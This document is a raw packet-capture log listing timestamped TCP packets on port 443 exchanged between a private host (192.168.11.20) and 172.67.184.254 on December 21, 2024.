Dec 21, 2024 19:24:49.464078903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.464144945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.464144945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.464154005 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.464196920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.464997053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.465008974 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.465226889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.465234995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.465305090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.465305090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.466063023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.466073036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.466227055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.466227055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.466238976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.466305017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.466357946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.467830896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.467842102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.467983961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.467983961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.468051910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.468058109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.468076944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.468126059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.469063044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.469079971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.469217062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.469227076 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.469326019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.469343901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.469738960 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.469806910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.469926119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.470010996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.470017910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.470283031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.470866919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.470880032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.471064091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.471179008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.471187115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.472165108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.472181082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.472387075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.472394943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.472951889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.473428011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.473439932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.473666906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.473679066 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.473804951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.474363089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.474380970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.474561930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.474574089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.474675894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.475377083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.475390911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.475560904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.475569963 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.475652933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.475938082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.476710081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.476855040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.476870060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.477005005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.477005005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.477051020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.477051020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.477060080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.477099895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.477196932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.477463007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.478008032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.478020906 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.478133917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.478185892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.478185892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.478192091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.478332996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.478854895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.478871107 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.478887081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.478897095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.479016066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.479016066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.479064941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.479136944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.480181932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.480199099 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.480320930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.480384111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.480389118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.480448961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.481491089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.481507063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.481657028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.481668949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.481791019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.481791019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.482527971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.482543945 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.482697964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.482697964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.482744932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.482744932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.482749939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.482841969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.483634949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.483650923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.483814955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.483823061 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.483853102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.483853102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.483937979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.484575033 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.484589100 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.484736919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.484746933 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.484788895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.484857082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.485755920 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.485769987 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.485950947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.485960007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.486023903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.487025976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.487040043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.487193108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.487193108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.487202883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.487210989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.487210989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.487282991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.487334967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.487773895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.488095999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.488110065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.488234043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.488315105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.488316059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.488322973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.488359928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.489018917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.489032984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.489183903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.489183903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.489193916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.489253044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.489366055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.490196943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.490220070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.490859032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.490859032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.490859032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.490869999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.490881920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.490881920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.490883112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.491419077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.491436005 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.491601944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.491610050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.491683006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.492372036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.492408991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.492422104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.492566109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.492566109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.492610931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.492610931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.492615938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.492665052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.492712021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.493413925 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.493431091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.493565083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.493565083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.493572950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.493612051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.493664026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.493664026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.493762016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.493942976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.494750023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.494765043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.494930983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.495048046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.495048046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.495057106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.495891094 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.495908022 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.496077061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.496077061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.496084929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.496146917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.496146917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.496196032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.496736050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.496747971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.496969938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.496979952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.497039080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.497747898 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.497762918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.497894049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.497901917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.497972012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.497972012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.498018980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.498548031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.499083042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.499100924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.499259949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.499324083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.499330044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.499373913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.500174046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.500188112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.500300884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.500308990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.500444889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.500509024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.501493931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.501506090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.501574993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.501683950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.501683950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.501693964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.501710892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.501811028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.502111912 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.502127886 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.502337933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.502350092 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.502391100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.503096104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.503109932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.503274918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.503274918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.503284931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.503329039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.503372908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.503372908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.503422976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.504009962 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.504024982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.504199028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.504199028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.504209995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.504245996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.504298925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.504637003 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.504653931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.504822969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.504832029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.504926920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.505414963 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.505429983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.505556107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.505556107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.505564928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.505623102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.505680084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.505680084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.505700111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.506041050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.506165028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.506165028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.506262064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.506827116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.507035017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.507062912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507075071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.507167101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507167101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507261992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507642984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.507656097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.507841110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507841110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507850885 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.507908106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507908106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.507962942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.508589983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.508604050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.508709908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.508717060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.508790016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.508836031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.509496927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.509510040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.509677887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.509677887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.509777069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.509783030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.509892941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.510055065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.510070086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.510216951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.510224104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.510267019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.510267019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.510314941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.510364056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.510920048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.511063099 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.511079073 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.511205912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.511205912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.511254072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.511353016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.511360884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.512023926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.512039900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.512193918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.512201071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.512243986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.512243986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.512290955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.512342930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513008118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.513020039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.513155937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513155937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513204098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513295889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513295889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513308048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.513315916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513782978 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.513798952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.513936043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513936043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.513943911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.514033079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.514041901 CET	443	49766	172.67.184.254	192.168.11.20
